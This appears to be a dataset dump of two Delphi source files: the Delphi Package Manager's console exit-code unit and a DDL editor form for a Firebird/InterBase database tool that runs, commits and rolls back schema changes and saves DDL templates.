text
stringlengths
14
6.51M
{***************************************************************************} { } { Delphi Package Manager - DPM } { } { Copyright © 2019 Vincent Parrett and contributors } { } { vincent@finalbuilder.com } { https://www.finalbuilder.com } { } { } {***************************************************************************} { } { Licensed under the Apache License, Version 2.0 (the "License"); } { you may not use this file except in compliance with the License. } { You may obtain a copy of the License at } { } { http://www.apache.org/licenses/LICENSE-2.0 } { } { Unless required by applicable law or agreed to in writing, software } { distributed under the License is distributed on an "AS IS" BASIS, } { WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. } { See the License for the specific language governing permissions and } { limitations under the License. } { } {***************************************************************************} unit DPM.Console.ExitCodes; interface uses DPM.Console.Writer; type {$SCOPEDENUMS ON} TExitCode = ( OK = 0, Error = 1, MissingArg = 2, InitException = 100, InvalidArguments = 101, InvalidCommand = 102, NotImplemented = 200, //developer/config related errors. Do not add these to ExitCodeString (except for notimplemented) NoCommandHandler = 201, UnhandledException = 999 ); function ExitCodeString(const exitCode : TExitCode) : string; procedure LogExitCodes(const console : IConsoleWriter); implementation uses System.SysUtils, DPM.Core.Utils.Strings; function ExitCodeString(const exitCode : TExitCode) : string; begin case exitCode of TExitCode.OK : result := 'Success.'; TExitCode.Error : result := 'Error'; TExitCode.MissingArg : result := 'Missing Argument'; TExitCode.InitException : result := 'Initialization Exception'; TExitCode.InvalidArguments : result := 'Invalid arguments'; TExitCode.InvalidCommand : result := 'Invalid command'; TExitCode.NotImplemented : result := 'Feature not implemented yet!'; TExitCode.UnhandledException : result := 'Unhandled Exception'; else result := ''; end; end; procedure LogExitCodes(const console : IConsoleWriter); var exitCode : TExitCode; procedure LogCode(const code : TExitCode); var clr : TConsoleColor; s : string; begin s := ExitCodeString(code); if s = '' then exit; if code = TExitCode.OK then clr := ccBrightGreen else clr := ccBrightRed; console.WriteLine(' ' + TStringUtils.PadRight(IntToStr(Ord(code)), 5) + s,clr); end; begin for exitCode := Low(TExitCode) to High(TExitCode) do LogCode(exitCode); end; end.
unit ibSHDDLFrm; interface uses SHDesignIntf, SHEvents, ibSHDesignIntf, ibSHDriverIntf, ibSHComponentFrm, Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms, Dialogs, ImgList, ExtCtrls, ToolWin, StdCtrls, SynEdit, SynEditTypes, pSHSynEdit, ActnList, AppEvnts, Menus, ComCtrls,ibSHValues; type TibBTDDLMonitorState = (msRead, msWrite, msActive, msError); TibBTDDLForm = class(TibBTComponentForm, IibSHDDLForm) Panel1: TPanel; Panel2: TPanel; Splitter1: TSplitter; ImageList1: TImageList; pSHSynEdit1: TpSHSynEdit; ApplicationEvents1: TApplicationEvents; pSHSynEdit2: TpSHSynEdit; PopupMenuMessage: TPopupMenu; pmiHideMessage: TMenuItem; procedure ApplicationEvents1Idle(Sender: TObject; var Done: Boolean); procedure pmiHideMessageClick(Sender: TObject); private { Private declarations } FLoading: Boolean; FDDLInfoIntf: IibSHDDLInfo; FDBObjectIntf: IibSHDBObject; FSQLEditorIntf: IibSHSQLEditor; FDDLGenerator: TComponent; FDDLGeneratorIntf: IibSHDDLGenerator; FDDLCompiler: TComponent; FDRVTransaction: TComponent; FDRVQuery: TComponent; FMsgPanel: TPanel; FMonitorState: TibBTDDLMonitorState; FSenderClosing: Boolean; FOnAfterRun: TNotifyEvent; FOnAfterCommit: TNotifyEvent; FOnAfterRollback: TNotifyEvent; function GetDDLCompiler: IibSHDDLCompiler; function GetDRVTransaction: IibSHDRVTransaction; function GetDRVQuery: IibSHDRVQuery; procedure CreateDRV; procedure FreeDRV; procedure SetMonitorState(Value: TibBTDDLMonitorState); procedure GutterDrawNotify(Sender: TObject; ALine: Integer; var ImageIndex: Integer); protected procedure EditorMsgVisible(AShow: Boolean = True); override; function GetTemplateDir:string; { ISHRunCommands } function GetCanRun: Boolean; override; function GetCanCreate: Boolean; override; function GetCanAlter: Boolean; override; function GetCanDrop: Boolean; override; function GetCanRecreate: Boolean; override; function GetCanCommit: Boolean; override; function GetCanRollback: Boolean; override; function GetCanRefresh: Boolean; override; procedure Run; override; procedure ICreate; override; procedure Alter; override; procedure Drop; override; procedure Recreate; override; procedure Commit; override; procedure Rollback; override; procedure Refresh; override; function DoOnOptionsChanged: Boolean; override; procedure DoOnIdle; override; function GetCanDestroy: Boolean; override; procedure mnSaveAsToTemplateClick(Sender: TObject); override; procedure DoSaveAsTemplate; { IibSHDDLForm } function GetDDLText: TStrings; procedure SetDDLText(Value: TStrings); procedure PrepareControls; procedure ShowDDLText; function GetOnAfterRun: TNotifyEvent; procedure SetOnAfterRun(Value: TNotifyEvent); function GetOnAfterCommit: TNotifyEvent; procedure SetOnAfterCommit(Value: TNotifyEvent); function GetOnAfterRollback: TNotifyEvent; procedure SetOnAfterRollback(Value: TNotifyEvent); public { Public declarations } constructor Create(AOwner: TComponent; AParent: TWinControl; AComponent: TSHComponent; ACallString: string); override; destructor Destroy; override; procedure BringToTop; override; property DDLInfo: IibSHDDLInfo read FDDLInfoIntf; property DBObject: IibSHDBObject read FDBObjectIntf; property SQLEditor: IibSHSQLEditor read FSQLEditorIntf; property DDLGenerator: IibSHDDLGenerator read FDDLGeneratorIntf; property DDLCompiler: IibSHDDLCompiler read GetDDLCompiler; property DRVTransaction: IibSHDRVTransaction read GetDRVTransaction; property DRVQuery: IibSHDRVQuery read GetDRVQuery; property MsgPanel: TPanel read FMsgPanel; property MonitorState: TibBTDDLMonitorState read FMonitorState write SetMonitorState; end; TibBTDDLFormAction_ = class(TSHAction) private procedure ExpandCollapseDomains; public constructor Create(AOwner: TComponent); override; function SupportComponent(const AClassIID: TGUID): Boolean; override; procedure EventExecute(Sender: TObject); override; procedure EventHint(var HintStr: String; var CanShow: Boolean); override; procedure EventUpdate(Sender: TObject); override; end; TibBTDDLFormAction_Run = class(TibBTDDLFormAction_) end; TibBTDDLFormAction_Commit = class(TibBTDDLFormAction_) end; TibBTDDLFormAction_Rollback = class(TibBTDDLFormAction_) end; TibBTDDLFormAction_Refresh = class(TibBTDDLFormAction_) end; TibBTDDLFormAction_ExpandDomains = class(TibBTDDLFormAction_) end; TibBTDDLFormAction_SaveAsTemplate = class(TibBTDDLFormAction_) end; var ibBTDDLForm: TibBTDDLForm; procedure Register; implementation uses ibSHConsts, ibBTOpenTemplateFrm; {$R *.dfm} const img_info = 7; img_warning = 8; img_error = 9; procedure Register; begin SHRegisterImage(TibBTDDLFormAction_Run.ClassName, 'Button_Run.bmp'); SHRegisterImage(TibBTDDLFormAction_Commit.ClassName, 'Button_TrCommit.bmp'); SHRegisterImage(TibBTDDLFormAction_Rollback.ClassName, 'Button_TrRollback.bmp'); SHRegisterImage(TibBTDDLFormAction_Refresh.ClassName, 'Button_Refresh.bmp'); SHRegisterImage(TibBTDDLFormAction_ExpandDomains.ClassName, 'DomainDecoded.bmp'); SHRegisterImage(TibBTDDLFormAction_SaveAsTemplate.ClassName, 'Button_SaveAs.bmp'); SHRegisterActions([ TibBTDDLFormAction_Run, TibBTDDLFormAction_Commit, TibBTDDLFormAction_Rollback, TibBTDDLFormAction_Refresh, TibBTDDLFormAction_ExpandDomains, TibBTDDLFormAction_SaveAsTemplate ]); end; { TibBTDDLForm } constructor TibBTDDLForm.Create(AOwner: TComponent; AParent: TWinControl; AComponent: TSHComponent; ACallString: string); var vComponentClass: TSHComponentClass; begin FLoading := True; inherited Create(AOwner, AParent, AComponent, ACallString); // // Снятие интерфейсов с компонента // Supports(Component, IibSHDDLInfo, FDDLInfoIntf); Supports(Component, IibSHDBObject, FDBObjectIntf); Supports(Component, IibSHSQLEditor, FSQLEditorIntf); Assert(DDLInfo <> nil, 'DDLInfo = nil'); // // Установка состояния DB объекта в зависимости от CallString формы // if Assigned(DBObject) then begin if AnsiSameText(CallString, SCallSourceDDL) then begin { if Supports(DBObject, IibSHTable) or Supports(DBObject, IibSHView) then DBObject.State := csRelatedSource else} DBObject.State := csSource end else if AnsiSameText(CallString, SCallCreateDDL) then DBObject.State := csCreate else if AnsiSameText(CallString, SCallAlterDDL) then DBObject.State := csAlter else if AnsiSameText(CallString, SCallDropDDL) then DBObject.State := csDrop else if AnsiSameText(CallString, SCallRecreateDDL) then DBObject.State := csRecreate end; // // Инициализация полей // FSenderClosing := False; FMsgPanel := Panel2; Editor := pSHSynEdit1; Editor.Lines.Clear; EditorMsg := pSHSynEdit2; EditorMsg.Lines.Clear; EditorMsg.OnGutterDraw := GutterDrawNotify; EditorMsg.GutterDrawer.ImageList := ImageList1; EditorMsg.GutterDrawer.Enabled := True; FocusedControl := Editor; // // Регистрация редактора // RegisterEditors; // // Создание драйверов // CreateDRV; // // Создание DDL компилятора // vComponentClass := Designer.Getcomponent(IibSHDDLCompiler); if Assigned(vComponentClass) then begin FDDLCompiler := vComponentClass.Create(nil); (FDDLCompiler as ISHComponent).OwnerIID := Component.OwnerIID; end; Assert(DDLCompiler <> nil, 'DDLCompiler = nil'); // // Создание DDL генератора // vComponentClass := Designer.GetComponent(IibSHDDLGenerator); if Assigned(vComponentClass) then begin FDDLGenerator := vComponentClass.Create(nil); Supports(FDDLGenerator, IibSHDDLGenerator, FDDLGeneratorIntf); end; Assert(DDLGenerator <> nil, 'DDLGenerator = nil'); // // Инициализация интерфейсных элементов // PrepareControls; MenuItemByName(FEditorPopupMenu.Items,SSaveAsToTemplate,0).Visible:=True end; destructor TibBTDDLForm.Destroy; begin if Assigned(DBObject) then DBObject.State := csUnknown; if Assigned(DDLInfo) and not DDLInfo.BTCLDatabase.WasLostConnect then Rollback; FDDLGeneratorIntf := nil; FDDLGenerator.Free; FDDLCompiler.Free; FDDLInfoIntf := nil; FDBObjectIntf := nil; FSQLEditorIntf := nil; FreeDRV; inherited Destroy; end; function TibBTDDLForm.GetTemplateDir:string; begin Result:= (Designer.GetDemon(DBObject.BranchIID) as ISHDataRootDirectory).DataRootDirectory+ 'Repository\DDL\'+GUIDToName(DBObject.ClassIID, 1) end; procedure TibBTDDLForm.BringToTop; var // vCallString: string; ACaption:string; TemplateFile:string; CaptionDlg:string; begin inherited BringToTop; // // Установка состояния DB объекта // if Assigned(DBObject) {and (DBObject.State <> csUnknown)} then begin if AnsiSameText(CallString, SCallSourceDDL) then begin { if Supports(DBObject, IibSHTable) or Supports(DBObject, IibSHView) then DBObject.State := csRelatedSource else } DBObject.State := csSource end else if AnsiSameText(CallString, SCallCreateDDL) then DBObject.State := csCreate else if AnsiSameText(CallString, SCallAlterDDL) then DBObject.State := csAlter else if AnsiSameText(CallString, SCallRecreateDDL) then DBObject.State := csRecreate else if AnsiSameText(CallString, SCallDropDDL) then DBObject.State := csDrop; end; // // Получение искомого текста в редактор // if FLoading then begin if Assigned(DBObject) then begin try if DBObject.State = csCreate then begin // Берется из шаблона. Кто бы мог подумать // vCallString := Format('DDL_WIZARD.%s', [AnsiUpperCase(Component.Association)]); // if Assigned(Designer.GetComponentForm(Component.ClassIID, vCallString)) then // begin // Designer.ShowModal(Component, vCallString); // end else // begin ACaption:=DBObject.Caption; if not Supports(DDLGenerator,IibBTTemplates) then begin if Designer.InputQuery(Format('%s', [SLoadingDefaultTemplate]), Format('%s', [SObjectNameNew]), ACaption{, False}) and (Length(ACaption) > 0) then DBObject.Caption:=ACaption; end else begin CaptionDlg:=Format(SCreateNewObjectPrompt,[GUIDToName(DBObject.ClassIID, 0)]); if GetNewObjectParams(CaptionDlg, GetTemplateDir,ACaption,TemplateFile) then begin DBObject.Caption:=ACaption; (DDLGenerator as IibBTTemplates).CurrentTemplateFile:=TemplateFile; end else (DDLGenerator as IibBTTemplates).CurrentTemplateFile:=''; end; DDLInfo.DDL.Text := DDLGenerator.GetDDLText(DBObject); Designer.UpdateObjectInspector; Editor.Lines.AddStrings(DDLInfo.DDL); // end; end else begin DDLInfo.DDL.Text := DDLGenerator.GetDDLText(DBObject); Designer.UpdateObjectInspector; Editor.Lines.AddStrings(DDLInfo.DDL); end; finally FLoading := False; end; end; end; end; function TibBTDDLForm.GetDDLCompiler: IibSHDDLCompiler; begin Supports(FDDLCompiler, IibSHDDLCompiler, Result); end; function TibBTDDLForm.GetDRVTransaction: IibSHDRVTransaction; begin Supports(FDRVTransaction, IibSHDRVTransaction, Result); end; function TibBTDDLForm.GetDRVQuery: IibSHDRVQuery; begin Supports(FDRVQuery, IibSHDRVQuery, Result); end; procedure TibBTDDLForm.CreateDRV; var vComponentClass: TSHComponentClass; begin // // Получение реализации DRVTransaction // vComponentClass := Designer.GetComponent(DDLInfo.BTCLDatabase.BTCLServer.DRVNormalize(IibSHDRVTransaction)); if Assigned(vComponentClass) then FDRVTransaction := vComponentClass.Create(Self); Assert(DRVTransaction <> nil, 'DRVTransaction = nil'); // // Получение реализации DRVQuery // vComponentClass := Designer.GetComponent(DDLInfo.BTCLDatabase.BTCLServer.DRVNormalize(IibSHDRVQuery)); if Assigned(vComponentClass) then FDRVQuery := vComponentClass.Create(Self); Assert(DRVQuery <> nil, 'DRVQuery = nil'); // // Установка свойств DRVTransaction и DRVQuery // DRVTransaction.Params.Text := TRWriteParams; DRVTransaction.Database := DDLInfo.BTCLDatabase.DRVQuery.Database; DRVQuery.Transaction := DRVTransaction; DRVQuery.Database := DDLInfo.BTCLDatabase.DRVQuery.Database; end; procedure TibBTDDLForm.FreeDRV; begin FreeAndNil(FDRVTransaction); FreeAndNil(FDRVQuery); end; procedure TibBTDDLForm.SetMonitorState(Value: TibBTDDLMonitorState); begin FMonitorState := Value; case FMonitorState of msRead: begin Editor.ReadOnly := True; Editor.Modified := False; end; msWrite: begin Editor.ReadOnly := False; Editor.Modified := False; end; msActive: begin Editor.ReadOnly := True; end; msError: begin Editor.ReadOnly := False; // Editor.Modified := False; end; end; end; procedure TibBTDDLForm.GutterDrawNotify(Sender: TObject; ALine: Integer; var ImageIndex: Integer); begin if ALine = 0 then begin case MonitorState of msRead, msWrite, msActive: ImageIndex := img_info; msError: ImageIndex := img_error; end; end else begin if Pos('Commit or Rollback', EditorMsg.Lines[ALine]) > 0 then ImageIndex := img_warning; end; end; procedure TibBTDDLForm.EditorMsgVisible(AShow: Boolean = True); begin if AShow then begin MsgPanel.Visible := True; Splitter1.Visible := True; end else begin MsgPanel.Visible := False; Splitter1.Visible := False; end; end; function TibBTDDLForm.GetCanRun: Boolean; begin Result := not (csDestroying in ComponentState) and not Editor.ReadOnly and not Editor.IsEmpty and not GetCanCommit; end; function TibBTDDLForm.GetCanCreate: Boolean; begin Result := Assigned(DBObject) and not DBObject.System and not (DBObject.State = csCreate); end; function TibBTDDLForm.GetCanAlter: Boolean; begin Result := Assigned(DBObject) and not DBObject.System and not (DBObject.State = csCreate); if Result then Result := (not Supports(Component, IibSHConstraint)) and (not Supports(Component, IibSHView)) and (not Supports(Component, IibSHFunction)) and (not Supports(Component, IibSHFilter)) and (not Supports(Component, IibSHRole)); end; function TibBTDDLForm.GetCanDrop: Boolean; begin Result := Assigned(DBObject) and not DBObject.System and not (DBObject.State = csCreate); end; function TibBTDDLForm.GetCanRecreate: Boolean; begin Result := Assigned(DBObject) and not DBObject.System and not (DBObject.State = csCreate); end; function TibBTDDLForm.GetCanCommit: Boolean; begin Result := not (csDestroying in ComponentState) and Assigned(DRVTransaction) and DRVTransaction.InTransaction; end; function TibBTDDLForm.GetCanRollback: Boolean; begin Result := GetCanCommit; end; function TibBTDDLForm.GetCanRefresh: Boolean; begin Result := AnsiSameText(CallString, SCallSourceDDL); end; procedure TibBTDDLForm.Run; begin { TODO -oBuzz : Эту хуйню надо убрать. Иначе ни хера не компилятся процедуры которые по каким-то причинам парсер разбирает неправильно } if Assigned(DBObject) and (DBObject.State = csDrop) and not Designer.ShowMsg(Format('DROP object "%s"?', [DBObject.Caption]), mtConfirmation) then Exit; EditorMsgVisible; if Assigned(DDLInfo) and DDLCompiler.Compile(DRVQuery, Editor.Lines.Text) then begin if DDLInfo.BTCLDatabase.DatabaseAliasOptions.DDL.AutoCommit then begin if Length(DDLCompiler.ErrorText) > 0 then begin MonitorState := msError; Rollback; ErrorCoord := TBufferCoord(Point(DDLCompiler.ErrorColumn, DDLCompiler.ErrorLine)); end else Commit; end; if GetCanCommit then begin EditorMsg.Clear; EditorMsg.Lines.Add('Statement(s) successfully executed'); EditorMsg.Lines.Add('Commit or Rollback active transaction...'); MonitorState := msActive; end; if Assigned(FOnAfterRun) then FOnAfterRun(Self); end else begin if Length(DDLCompiler.ErrorText) > 0 then begin EditorMsg.Clear; Designer.TextToStrings(DDLCompiler.ErrorText, EditorMsg.Lines); MonitorState := msError; if DDLInfo.BTCLDatabase.DatabaseAliasOptions.DDL.AutoCommit then //Еманов Rollback; ErrorCoord := TBufferCoord(Point(DDLCompiler.ErrorColumn, DDLCompiler.ErrorLine)); end; end; end; procedure TibBTDDLForm.ICreate; begin Designer.CreateComponent(DBObject.OwnerIID, DBObject.ClassIID, EmptyStr); end; procedure TibBTDDLForm.Alter; begin Designer.ChangeNotification(Component, SCallAlterDDL, opInsert); end; procedure TibBTDDLForm.Drop; begin Designer.ChangeNotification(Component, SCallDropDDL, opInsert); end; procedure TibBTDDLForm.Recreate; begin Designer.ChangeNotification(Component, SCallRecreateDDL, opInsert); end; procedure TibBTDDLForm.Commit; begin DRVTransaction.Commit; // // Если произошла ошибка // if Length(DRVTransaction.ErrorText) > 0 then begin EditorMsg.Clear; Designer.TextToStrings(DRVTransaction.ErrorText, EditorMsg.Lines); MonitorState := msError; Rollback; // TODO: Еманов и Ded говорили, что надо опцию: Commit vs Rollback Exit; end; // // Если все хорошо, то // DDLCompiler.AfterCommit(Component, FSenderClosing); // // и отрабатываем визуальные элементы // EditorMsg.Clear; if DDLInfo.BTCLDatabase.DatabaseAliasOptions.DDL.AutoCommit then EditorMsg.Lines.Add('Statement(s) successfully executed and transaction committed') else EditorMsg.Lines.Add('Transaction committed.'); MonitorState := msWrite; Editor.Invalidate; if DDLInfo.State = csAlter then EditorMsgVisible; if Assigned(FOnAfterCommit) then FOnAfterCommit(Self); end; procedure TibBTDDLForm.Rollback; begin if Assigned(DRVTransaction) then DRVTransaction.Rollback; if not GetCanRollback then begin if MonitorState <> msError then begin EditorMsg.Clear; MonitorState := msWrite; end; EditorMsgVisible; if not (DDLCompiler.ErrorText = 'Invalid DDL statement') then EditorMsg.Lines.Add('Transaction rolled back.'); DDLCompiler.AfterRollback(Component, FSenderClosing); if Assigned(FOnAfterRollback) then FOnAfterRollback(Self); end; end; procedure TibBTDDLForm.Refresh; begin (* // Только для SourceDDL if Assigned(DBObject) and not DBObject.Embedded then begin DBObject.Refresh; Editor.Lines.Clear; Editor.Lines.AddStrings(DBObject.SourceDDL); MonitorState := msRead; end; *) if Assigned(DBObject) then begin if not DBObject.Embedded then begin DBObject.Refresh; Editor.Lines.Clear; Editor.Lines.AddStrings(DBObject.SourceDDL); MonitorState := msRead; end else begin case DBObject.State of csSource:; csCreate: begin // if not DDLInfo.BTCLDatabase.DatabaseAliasOptions.DDL.AutoWizard then // begin DDLInfo.DDL.Text := DDLGenerator.GetDDLText(DBObject); Editor.Lines.Clear; Editor.Lines.AddStrings(DDLInfo.DDL); Designer.UpdateObjectInspector; MonitorState := msRead; // end else {Designer.E_xecuteEditor(Component, ISHDDLWizard)}; end; csAlter, csDrop, csRecreate: begin DDLInfo.DDL.Text := DDLGenerator.GetDDLText(DBObject); Editor.Lines.Clear; Editor.Lines.AddStrings(DDLInfo.DDL); Designer.UpdateObjectInspector; MonitorState := msRead; end; end; end; end; (* if DBObject.State = csCreate then begin vCallString := Format('DDL_WIZARD.%s', [AnsiUpperCase(Component.Association)]); if Assigned(Designer.GetComponentForm(Component.ClassIID, vCallString)) then begin Designer.ShowModal(Component, vCallString); end else begin DDLInfo.DDL.Text := DDLGenerator.GetDDLText(DBObject); Designer.UpdateObjectInspector; Editor.Lines.AddStrings(DDLInfo.DDL); end; end else begin DDLInfo.DDL.Text := DDLGenerator.GetDDLText(DBObject); Designer.UpdateObjectInspector; Editor.Lines.AddStrings(DDLInfo.DDL); end; *) end; function TibBTDDLForm.DoOnOptionsChanged: Boolean; begin Result := inherited DoOnOptionsChanged; EditorMsg.BottomEdgeVisible := True; EditorMsg.RightEdge := 0; EditorMsg.WordWrap := True; if Result then if GetCanRollback then Rollback; end; procedure TibBTDDLForm.DoOnIdle; begin if not (csDestroying in Self.ComponentState) then begin // забыл на хуя это надо - разобраться if Assigned(DDLInfo) and Assigned(DDLInfo.BTCLDatabase) and DDLInfo.BTCLDatabase.WasLostConnect and (DDLInfo.State <> csSource) and (MonitorState <> msError) then begin MonitorState := msWrite; EditorMsg.Lines.Clear; EditorMsgVisible(False); end; end; end; procedure TibBTDDLForm.DoSaveAsTemplate; var TemplateDir:string; TemplateBody:TStrings; ACaption:string; begin if DBObject.Caption='' then Exit; ACaption:=DBObject.Caption; TemplateDir:=GetTemplateDir+'\'; if DirectoryExists(TemplateDir) then if Designer.InputQuery(SInputTemplateName, Format('%s', [SObjectNameNew]), ACaption{, False}) and (Length(ACaption) > 0) then try TemplateBody:=TStringList.Create; TemplateBody.Text:=StringReplace(Editor.Text,DBObject.Caption,'{NAME}',[rfReplaceAll, rfIgnoreCase]); TemplateBody.SaveToFile(ChangeFileExt(TemplateDir+ACaption,'.txt')) finally TemplateBody.Free end end; procedure TibBTDDLForm.mnSaveAsToTemplateClick(Sender: TObject); begin DoSaveAsTemplate end; function TibBTDDLForm.GetCanDestroy: Boolean; var S: string; begin Result := inherited GetCanDestroy; // // Если был обрыв коннекта, то тихо выходим // if Assigned(DDLInfo) and Assigned(DDLInfo.BTCLDatabase) and DDLInfo.BTCLDatabase.WasLostConnect then Exit; // // Если все в штате, то проверяем состояние // if Result then begin S := EmptyStr; // // Юзер модифицировал текст в редакторе // if Editor.Modified then S := '%s "%s"%sDDL text has been changed.%sShould these changes be compiled and committed?'; // // Висит активная транзакция // if GetCanCommit then S := '%s "%s"%sTransaction is active.%sShould it be committed?'; // // Объект был вызван как "создать новый" и забыт // if Assigned(DBObject) and not DBObject.Embedded and (DBObject.State = csCreate) and (MonitorState <> msError) and (Length(Editor.Text) > 0) then S := '%s "%s"%sObject is being created as the new one.%sShould it be compiled and committed?'; // // Отрабатываем вопросы по состоянию с пользователем // if Length(S) > 0 then begin case Designer.ShowMsg(Format(S, [Component.Association, Component.Caption, SLineBreak, SLineBreak])) of IDCANCEL: Result := False; IDYES: begin FSenderClosing := True; try if GetCanRun then Run; if GetCanCommit then Commit; finally FSenderClosing := False; end; Result := not GetCanCommit and (MonitorState <> msError); end; IDNO: begin FSenderClosing := True; try if GetCanRollback then Rollback; finally FSenderClosing := False; end; Result := not GetCanRollback; end; end; end; end; end; function TibBTDDLForm.GetDDLText: TStrings; begin Result := Editor.Lines; end; procedure TibBTDDLForm.SetDDLText(Value: TStrings); begin Editor.Lines.Assign(Value); end; procedure TibBTDDLForm.PrepareControls; begin DoOnOptionsChanged; EditorMsgVisible(False); if DDLInfo.State in [csSource{, csRelatedSource}] then MonitorState := msRead else MonitorState := msWrite; end; procedure TibBTDDLForm.ShowDDLText; begin if Assigned(DDLInfo) then begin Editor.Lines.Clear; Editor.Lines.AddStrings(DDLInfo.DDL); end; end; function TibBTDDLForm.GetOnAfterRun: TNotifyEvent; begin Result := FOnAfterRun; end; procedure TibBTDDLForm.SetOnAfterRun(Value: TNotifyEvent); begin FOnAfterRun := Value; end; function TibBTDDLForm.GetOnAfterCommit: TNotifyEvent; begin Result := FOnAfterCommit; end; procedure TibBTDDLForm.SetOnAfterCommit(Value: TNotifyEvent); begin FOnAfterCommit := Value; end; function TibBTDDLForm.GetOnAfterRollback: TNotifyEvent; begin Result := FOnAfterRollback; end; procedure TibBTDDLForm.SetOnAfterRollback(Value: TNotifyEvent); begin FOnAfterRollback := Value; end; procedure TibBTDDLForm.ApplicationEvents1Idle(Sender: TObject; var Done: Boolean); begin DoOnIdle; end; procedure TibBTDDLForm.pmiHideMessageClick(Sender: TObject); begin EditorMsgVisible(False); end; { TibBTDDLFormAction_ } constructor TibBTDDLFormAction_.Create(AOwner: TComponent); begin inherited Create(AOwner); FCallType := actCallToolbar; if Self is TibBTDDLFormAction_Run then Tag := 1; if Self is TibBTDDLFormAction_Commit then Tag := 2; if Self is TibBTDDLFormAction_Rollback then Tag := 3; if Self is TibBTDDLFormAction_Refresh then Tag := 4; if Self is TibBTDDLFormAction_ExpandDomains then Tag := 5; if Self is TibBTDDLFormAction_SaveAsTemplate then Tag := 6; case Tag of 0: Caption := '-'; // separator 1: begin Caption := Format('%s', ['Run']); ShortCut := TextToShortCut('Ctrl+Enter'); SecondaryShortCuts.Add('F9'); end; 2: begin Caption := Format('%s', ['Commit']); ShortCut := TextToShortCut('Shift+Ctrl+C'); end; 3: begin Caption := Format('%s', ['Rollback']); ShortCut := TextToShortCut('Shift+Ctrl+R'); end; 4: begin Caption := Format('%s', ['Refresh']); ShortCut := TextToShortCut('F5'); end; 5: Caption := Format('%s', ['Expand/Collapse Domains']); 6: Caption := Format('%s', ['Save As Template']); end; if Tag <> 0 then Hint := Caption; end; function TibBTDDLFormAction_.SupportComponent(const AClassIID: TGUID): Boolean; begin Result := IsEqualGUID(AClassIID, IibSHDomain) or IsEqualGUID(AClassIID, IibSHTable) or IsEqualGUID(AClassIID, IibSHConstraint) or IsEqualGUID(AClassIID, IibSHIndex) or IsEqualGUID(AClassIID, IibSHView) or IsEqualGUID(AClassIID, IibSHProcedure) or IsEqualGUID(AClassIID, IibSHTrigger) or IsEqualGUID(AClassIID, IibSHGenerator) or IsEqualGUID(AClassIID, IibSHException) or IsEqualGUID(AClassIID, IibSHFunction) or IsEqualGUID(AClassIID, IibSHFilter) or IsEqualGUID(AClassIID, IibSHRole) or IsEqualGUID(AClassIID, IibSHSystemDomain) or IsEqualGUID(AClassIID, IibSHSystemTable) or IsEqualGUID(AClassIID, IibSHSystemTableTmp) or IsEqualGUID(AClassIID, IibSHSQLEditor); end; procedure TibBTDDLFormAction_.ExpandCollapseDomains; begin (Designer.CurrentComponent as IibSHTable).DecodeDomains := not (Designer.CurrentComponent as IibSHTable).DecodeDomains; (Designer.CurrentComponentForm as ISHRunCommands).Refresh; if (Designer.CurrentComponent as IibSHTable).DecodeDomains then (Designer.CurrentComponentForm as IibSHDDLForm).DDLText.Insert(0, '/* !!! ALL DOMAINS HAVE BEEN DECODED */'); end; procedure TibBTDDLFormAction_.EventExecute(Sender: TObject); begin if Assigned(Designer.CurrentComponentForm) then case Tag of // Run 1: (Designer.CurrentComponentForm as ISHRunCommands).Run; // Commit 2: (Designer.CurrentComponentForm as ISHRunCommands).Commit; // Rollback 3: (Designer.CurrentComponentForm as ISHRunCommands).Rollback; // Refresh 4: begin (Designer.CurrentComponentForm as ISHRunCommands).Refresh; if Supports(Designer.CurrentComponent, IibSHTable) and (Designer.CurrentComponent as IibSHTable).DecodeDomains then (Designer.CurrentComponentForm as IibSHDDLForm).DDLText.Insert(0, '/* !!! ALL DOMAINS HAVE BEEN DECODED */'); end; // Expand Domains 5: ExpandcollapseDomains; 6: if Designer.CurrentComponentForm is TibBTDDLForm then TibBTDDLForm(Designer.CurrentComponentForm).DoSaveAsTemplate end; end; procedure TibBTDDLFormAction_.EventHint(var HintStr: String; var CanShow: Boolean); begin end; procedure TibBTDDLFormAction_.EventUpdate(Sender: TObject); begin if Assigned(Designer.CurrentComponentForm) and Supports(Designer.CurrentComponent, IibSHDDLInfo) and Supports(Designer.CurrentComponentForm, IibSHDDLForm) and ( AnsiSameText(Designer.CurrentComponentForm.CallString, SCallSourceDDL) or AnsiSameText(Designer.CurrentComponentForm.CallString, SCallCreateDDL) or AnsiSameText(Designer.CurrentComponentForm.CallString, SCallAlterDDL) or AnsiSameText(Designer.CurrentComponentForm.CallString, SCallRecreateDDL) or AnsiSameText(Designer.CurrentComponentForm.CallString, SCallDropDDL) or AnsiSameText(Designer.CurrentComponentForm.CallString, SCallDDLText) ) then begin case Tag of // Separator 0: begin Visible := True; end; // Run 1: begin Visible := not ((Designer.CurrentComponent as IibSHDDLInfo).State in [csSource{,csRelatedSource}]); Enabled := (Designer.CurrentComponentForm as ISHRunCommands).CanRun; end; // Commit 2: begin Visible := ((Designer.CurrentComponent as IibSHDDLInfo).State <> csSource) and not (Designer.CurrentComponent as IibSHDDLInfo).BTCLDatabase.DatabaseAliasOptions.DDL.AutoCommit; Enabled := (Designer.CurrentComponentForm as ISHRunCommands).CanCommit; end; // Rollback 3: begin Visible := ((Designer.CurrentComponent as IibSHDDLInfo).State <> csSource) and not (Designer.CurrentComponent as IibSHDDLInfo).BTCLDatabase.DatabaseAliasOptions.DDL.AutoCommit; Enabled := (Designer.CurrentComponentForm as ISHRunCommands).CanRollback; end; // Refresh 4: begin Visible := (Designer.CurrentComponent as IibSHDDLInfo).State = csSource; Enabled := (Designer.CurrentComponentForm as ISHRunCommands).CanRefresh; end; // Expand Domains 5: begin Visible := (Supports(Designer.CurrentComponent, IibSHTable) or Supports(Designer.CurrentComponent, IibSHSystemTable) or Supports(Designer.CurrentComponent, IibSHSystemTableTmp)) and AnsiSameText(Designer.CurrentComponentForm.CallString, SCallSourceDDL); Enabled := True; end; 6: begin Visible := (Designer.CurrentComponent as IibSHDDLInfo).State <> csCreate; Enabled := True; end; end; end else Visible := False; end; initialization Register; end.
